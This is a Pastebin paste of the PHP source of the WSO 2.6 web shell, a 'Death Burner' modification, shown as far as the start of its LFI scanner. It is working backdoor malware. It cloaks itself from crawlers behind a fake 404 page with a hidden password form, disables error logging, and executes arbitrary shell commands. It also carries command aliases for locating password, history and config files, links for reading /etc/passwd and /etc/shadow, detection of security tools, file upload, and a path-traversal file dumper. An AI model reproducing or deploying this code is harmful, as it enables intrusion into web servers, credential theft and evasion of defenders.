L1ckh3r

Untitled

Nov 7th, 2016
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 94.46 KB | None | 0 0
  1. <?php
  2. /* WSO 2.6 (Web Shell by stealthers.in) made by Death Burner*/
  3. $auth_pass = "7f55a0ed8b021080de00960cc73768fb";
  4. $color = "green";
  5. $default_action = 'FilesMan';
  6. $default_use_ajax = true;
  7. $default_charset = 'Windows-1251';
  8.  
  9. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  10. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  11. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  12. header('HTTP/1.0 404 Not Found');
  13. exit;
  14. }
  15. }
  16.  
  17. @session_start();
  18. @ini_set('error_log',NULL);
  19. @ini_set('log_errors',0);
  20. @ini_set('max_execution_time',0);
  21. @set_time_limit(0);
  22. @set_magic_quotes_runtime(0);
  23. @define('WSO_VERSION', '2.6');
  24.  
  25. if(get_magic_quotes_gpc()) {
  26. function WSOstripslashes($array) {
  27. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  28. }
  29. $_POST = WSOstripslashes($_POST);
  30. }
  31.  
  32. function printLogin() {
  33. ?>
  34. <h1>Not Found</h1>
  35. <p>The requested URL was not found on this server.</p>
  36. <hr>
  37. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
  38. <style>
  39. input { margin:0;background-color:#fff;border:1px solid #fff; }
  40. </style>
  41. <center>
  42. <form method=post>
  43. <input type=password name=pass>
  44. </form></center>
  45. <?php
  46. exit;
  47. }
  48.  
  49. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  50. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  51. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  52. else
  53. printLogin();
  54.  
  55. if(strtolower(substr(PHP_OS,0,3)) == "win")
  56. $os = 'win';
  57. else
  58. $os = 'nix';
  59.  
  60. $safe_mode = @ini_get('safe_mode');
  61. if(!$safe_mode)
  62. error_reporting(0);
  63.  
  64. $disable_functions = @ini_get('disable_functions');
  65. $home_cwd = @getcwd();
  66. if(isset($_POST['c']))
  67. @chdir($_POST['c']);
  68. $cwd = @getcwd();
  69. if($os == 'win') {
  70. $home_cwd = str_replace("\\", "/", $home_cwd);
  71. $cwd = str_replace("\\", "/", $cwd);
  72. }
  73. if( $cwd[strlen($cwd)-1] != '/' )
  74. $cwd .= '/';
  75.  
  76. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  77. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  78.  
  79. if($os == 'win')
  80. $aliases = array(
  81. "List Directory" => "dir",
  82. "Find index.php in current dir" => "dir /s /w /b index.php",
  83. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  84. "Show active connections" => "netstat -an",
  85. "Show running services" => "net start",
  86. "User accounts" => "net user",
  87. "Show computers" => "net view",
  88. "ARP Table" => "arp -a",
  89. "IP Configuration" => "ipconfig /all"
  90. );
  91. else
  92. $aliases = array(
  93. "List dir" => "ls -lha",
  94. "list file attributes on a Linux second extended file system" => "lsattr -va",
  95. "show opened ports" => "netstat -an | grep -i listen",
  96. "process status" => "ps aux",
  97. "Find" => "",
  98. "find all suid files" => "find / -type f -perm -04000 -ls",
  99. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  100. "find all sgid files" => "find / -type f -perm -02000 -ls",
  101. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  102. "find config.inc.php files" => "find / -type f -name config.inc.php",
  103. "find config* files" => "find / -type f -name \"config*\"",
  104. "find config* files in current dir" => "find . -type f -name \"config*\"",
  105. "find all writable folders and files" => "find / -perm -2 -ls",
  106. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  107. "find all service.pwd files" => "find / -type f -name service.pwd",
  108. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  109. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  110. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  111. "find all .bash_history files" => "find / -type f -name .bash_history",
  112. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  113. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  114. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  115. "Locate" => "",
  116. "locate httpd.conf files" => "locate httpd.conf",
  117. "locate vhosts.conf files" => "locate vhosts.conf",
  118. "locate proftpd.conf files" => "locate proftpd.conf",
  119. "locate psybnc.conf files" => "locate psybnc.conf",
  120. "locate my.conf files" => "locate my.conf",
  121. "locate admin.php files" =>"locate admin.php",
  122. "locate cfg.php files" => "locate cfg.php",
  123. "locate conf.php files" => "locate conf.php",
  124. "locate config.dat files" => "locate config.dat",
  125. "locate config.php files" => "locate config.php",
  126. "locate config.inc files" => "locate config.inc",
  127. "locate config.inc.php" => "locate config.inc.php",
  128. "locate config.default.php files" => "locate config.default.php",
  129. "locate config* files " => "locate config",
  130. "locate .conf files"=>"locate '.conf'",
  131. "locate .pwd files" => "locate '.pwd'",
  132. "locate .sql files" => "locate '.sql'",
  133. "locate .htpasswd files" => "locate '.htpasswd'",
  134. "locate .bash_history files" => "locate '.bash_history'",
  135. "locate .mysql_history files" => "locate '.mysql_history'",
  136. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  137. "locate backup files" => "locate backup",
  138. "locate dump files" => "locate dump",
  139. "locate priv files" => "locate priv"
  140. );
  141.  
  142. function wsoHeader() {
  143. if(empty($_POST['charset']))
  144. $_POST['charset'] = $GLOBALS['default_charset'];
  145. global $color;
  146. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  147. <style>
  148. body{background-color:#444;color:#e1e1e1;}
  149. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  150. table.info{ color:#fff;background-color:#222; }
  151. span,h1,a{ color: $color !important; }
  152. span{ font-weight: bolder; }
  153. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  154. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  155. a{ text-decoration:none; }
  156. a:hover{ text-decoration:underline; }
  157. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  158. .bigarea{ width:100%;height:250px; }
  159. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  160. form{ margin:0px; }
  161. #toolsTbl{ text-align:center; }
  162. .toolsInp{ width: 300px }
  163. .main th{text-align:left;background-color:#5e5e5e;}
  164. .main tr:hover{background-color:#5e5e5e}
  165. .l1{background-color:#444}
  166. .l2{background-color:#333}
  167. pre{font-family:Courier,Monospace;}
  168. </style>
  169. <script>
  170. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  171. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  172. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  173. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  174. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  175. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  176. var d = document;
  177. function set(a,c,p1,p2,p3,charset) {
  178. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  179. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  180. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  181. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  182. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  183. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  184. }
  185. function g(a,c,p1,p2,p3,charset) {
  186. set(a,c,p1,p2,p3,charset);
  187. d.mf.submit();
  188. }
  189. function a(a,c,p1,p2,p3,charset) {
  190. set(a,c,p1,p2,p3,charset);
  191. var params = 'ajax=true';
  192. for(i=0;i<d.mf.elements.length;i++)
  193. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  194. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  195. }
  196. function sr(url, params) {
  197. if (window.XMLHttpRequest)
  198. req = new XMLHttpRequest();
  199. else if (window.ActiveXObject)
  200. req = new ActiveXObject('Microsoft.XMLHTTP');
  201. if (req) {
  202. req.onreadystatechange = processReqChange;
  203. req.open('POST', url, true);
  204. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  205. req.send(params);
  206. }
  207. }
  208. function processReqChange() {
  209. if( (req.readyState == 4) )
  210. if(req.status == 200) {
  211. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  212. var arr=reg.exec(req.responseText);
  213. eval(arr[2].substr(0, arr[1]));
  214. } else alert('Request error!');
  215. }
  216. </script>
  217. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  218. <form method=post name=mf style='display:none;'>
  219. <input type=hidden name=a>
  220. <input type=hidden name=c>
  221. <input type=hidden name=p1>
  222. <input type=hidden name=p2>
  223.  
  224. <input type=hidden name=p3>
  225. <input type=hidden name=charset>
  226. </form>";
  227. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  228. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  229. $totalSpace = $totalSpace?$totalSpace:1;
  230. $release = @php_uname('r');
  231. $kernel = @php_uname('s');
  232. if(!function_exists('posix_getegid')) {
  233. $user = @get_current_user();
  234. $uid = @getmyuid();
  235. $gid = @getmygid();
  236. $group = "?";
  237. } else {
  238. $uid = @posix_getpwuid(posix_geteuid());
  239. $gid = @posix_getgrgid(posix_getegid());
  240. $user = $uid['name'];
  241. $uid = $uid['uid'];
  242. $group = $gid['name'];
  243. $gid = $gid['gid'];
  244. }
  245.  
  246. $cwd_links = '';
  247. $path = explode("/", $GLOBALS['cwd']);
  248. $n=count($path);
  249. for($i=0; $i<$n-1; $i++) {
  250. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  251. for($j=0; $j<=$i; $j++)
  252. $cwd_links .= $path[$j].'/';
  253. $cwd_links .= "\")'>".$path[$i]."/</a>";
  254. }
  255.  
  256. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  257. $opt_charsets = '';
  258. foreach($charsets as $item)
  259. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  260.  
  261. $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  262. if(!empty($GLOBALS['auth_pass']))
  263. $m['Logout'] = 'Logout';
  264. $m['Self remove'] = 'SelfRemove';
  265. $menu = '';
  266. foreach($m as $k => $v)
  267. $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
  268.  
  269. $drives = "";
  270. if($GLOBALS['os'] == 'win') {
  271. foreach(range('c','z') as $drive)
  272. if(is_dir($drive.':\\'))
  273. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  274. }
  275. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  276. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
  277. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  278. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  279. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  280. }
  281.  
  282. function wsoFooter() {
  283. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  284. echo "
  285.  
  286. </div>
  287. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  288. <tr>
  289. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  290. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  291. </tr><tr>
  292. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  293. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  294.  
  295. </tr><tr>
  296. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  297. <td><form method='post' ENCTYPE='multipart/form-data'>
  298. <input type=hidden name=a value='FilesMAn'>
  299. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  300. <input type=hidden name=p1 value='uploadFile'>
  301. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  302. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  303.  
  304. </tr></table><center>WSO Stealthers.in edition - Modified by Death Burner</center></div></body></html>";
  305. }
  306.  
  307. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  308. function posix_getpwuid($p) {return false;} }
  309. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  310. function posix_getgrgid($p) {return false;} }
  311.  
  312. function wsoEx($in) {
  313. $out = '';
  314. if (function_exists('exec')) {
  315. @exec($in,$out);
  316. $out = @join("\n",$out);
  317. } elseif (function_exists('passthru')) {
  318. ob_start();
  319. @passthru($in);
  320. $out = ob_get_clean();
  321. } elseif (function_exists('system')) {
  322. ob_start();
  323. @system($in);
  324. $out = ob_get_clean();
  325. } elseif (function_exists('shell_exec')) {
  326. $out = shell_exec($in);
  327. } elseif (is_resource($f = @popen($in,"r"))) {
  328. $out = "";
  329. while(!@feof($f))
  330. $out .= fread($f,1024);
  331. pclose($f);
  332. }
  333. return $out;
  334. }
  335. function wsoViewSize($s) {
  336. if($s >= 1073741824)
  337. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  338. elseif($s >= 1048576)
  339. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  340. elseif($s >= 1024)
  341. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  342. else
  343. return $s . ' B';
  344. }
  345.  
  346. function wsoPerms($p) {
  347. if (($p & 0xC000) == 0xC000)$i = 's';
  348. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  349. elseif (($p & 0x8000) == 0x8000)$i = '-';
  350. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  351. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  352. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  353. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  354. else $i = 'u';
  355. $i .= (($p & 0x0100) ? 'r' : '-');
  356. $i .= (($p & 0x0080) ? 'w' : '-');
  357. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  358. $i .= (($p & 0x0020) ? 'r' : '-');
  359. $i .= (($p & 0x0010) ? 'w' : '-');
  360. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  361. $i .= (($p & 0x0004) ? 'r' : '-');
  362. $i .= (($p & 0x0002) ? 'w' : '-');
  363. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  364. return $i;
  365. }
  366.  
  367. function wsoPermsColor($f) {
  368. if (!@is_readable($f))
  369. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  370. elseif (!@is_writable($f))
  371. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  372. else
  373. return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  374. }
  375.  
  376. if(!function_exists("scandir")) {
  377. function scandir($dir) {
  378. $dh = opendir($dir);
  379. while (false !== ($filename = readdir($dh)))
  380. $files[] = $filename;
  381. return $files;
  382. }
  383. }
  384.  
  385. function wsoWhich($p) {
  386. $path = wsoEx('which ' . $p);
  387. if(!empty($path))
  388. return $path;
  389. return false;
  390. }
  391.  
  392. function actionSecInfo() {
  393. wsoHeader();
  394. echo '<h1>Server security information</h1><div class=content>';
  395. function wsoSecParam($n, $v) {
  396. $v = trim($v);
  397. if($v) {
  398. echo '<span>' . $n . ': </span>';
  399. if(strpos($v, "\n") === false)
  400. echo $v . '<br>';
  401. else
  402. echo '<pre class=ml1>' . $v . '</pre>';
  403. }
  404. }
  405.  
  406. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  407. if(function_exists('apache_get_modules'))
  408. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  409. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  410. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  411. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  412. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  413. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  414. $temp=array();
  415. if(function_exists('mysql_get_client_info'))
  416. $temp[] = "MySql (".mysql_get_client_info().")";
  417. if(function_exists('mssql_connect'))
  418. $temp[] = "MSSQL";
  419. if(function_exists('pg_connect'))
  420. $temp[] = "PostgreSQL";
  421. if(function_exists('oci_connect'))
  422. $temp[] = "Oracle";
  423. wsoSecParam('Supported databases', implode(', ', $temp));
  424. echo '<br>';
  425.  
  426. if($GLOBALS['os'] == 'nix') {
  427. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  428. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  429. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  430. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  431. if(!$GLOBALS['safe_mode']) {
  432. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  433. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  434. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  435. echo '<br>';
  436. $temp=array();
  437. foreach ($userful as $item)
  438. if(wsoWhich($item))
  439. $temp[] = $item;
  440. wsoSecParam('Userful', implode(', ',$temp));
  441. $temp=array();
  442. foreach ($danger as $item)
  443. if(wsoWhich($item))
  444. $temp[] = $item;
  445. wsoSecParam('Danger', implode(', ',$temp));
  446. $temp=array();
  447. foreach ($downloaders as $item)
  448. if(wsoWhich($item))
  449. $temp[] = $item;
  450. wsoSecParam('Downloaders', implode(', ',$temp));
  451. echo '<br/>';
  452. wsoSecParam('HDD space', wsoEx('df -h'));
  453. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  454. }
  455. } else {
  456. wsoSecParam('OS Version',wsoEx('ver'));
  457. wsoSecParam('Account Settings',wsoEx('net accounts'));
  458. wsoSecParam('User Accounts',wsoEx('net user'));
  459. }
  460. echo '</div>';
  461. wsoFooter();
  462. }
  463. function actionlfiscan() {
  464. wsoHeader();
  465. print '
  466. <h3>Death Burner\'s LFI File dumper</h3>
  467.  
  468. <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
  469. LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
  470. <option value="1">
  471. Access Log
  472. </option>
  473.  
  474. <option value="2">
  475. httpd.conf
  476. </option>
  477.  
  478. <option value="3">
  479. Error Log
  480. </option>
  481. <option value="4">
  482. php.ini
  483. </option>
  484. <option value="5">
  485. MySQL
  486. </option>
  487. <option value="6">
  488. FTP
  489. </option>
  490. <option value="7">
  491. Environ
  492. </option>
  493. </select> Null: <select name="null">
  494. <option value="%00">
  495. Yes
  496. </option>
  497.  
  498. <option value="">
  499. No
  500. </option>
  501. </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
  502. </form>';
  503. error_reporting(0);
  504. if($_POST['lfiurl']) {
  505. print "<pre>";
  506. $cheader = $_POST['custom_header'];
  507. $target = $_POST['lfiurl'];
  508. $type = $_POST['scantype'];
  509. $byte1 = $_POST['null'];
  510. $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
  511. $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
  512. $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
  513. $lfiaccess = array(
  514. 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
  515. 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
  516. 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
  517. 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
  518. 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
  519. 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
  520. 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
  521. 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
  522. 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
  523. 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
  524. 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
  525. 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
  526. 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
  527. 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
  528. 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
  529. 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
  530. 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
  531. 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
  532. 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
  533. 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
  534. 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
  535. 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
  536. 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
  537.  
  538. $lfierror = array(
  539. 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
  540. 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
  541. 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
  542. 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
  543. 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
  544. 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
  545. 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
  546. 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
  547. 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
  548. 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
  549. 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
  550. 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
  551. 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
  552. 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
  553. 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
  554. 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
  555. 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
  556. 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
  557. 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
  558. 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
  559. 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
  560. 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
  561. 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
  562.  
  563. $lficonfig = array(
  564. 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
  565. 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
  566. 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
  567. 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
  568. 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
  569. 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
  570. 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
  571. 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
  572. 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
  573. 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
  574. 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
  575. 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
  576. 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
  577. 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
  578. 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
  579. 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
  580. 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
  581. 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
  582. 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
  583. 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
  584. 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
  585. 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
  586. 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
  587. 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
  588. 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
  589. 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
  590. 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
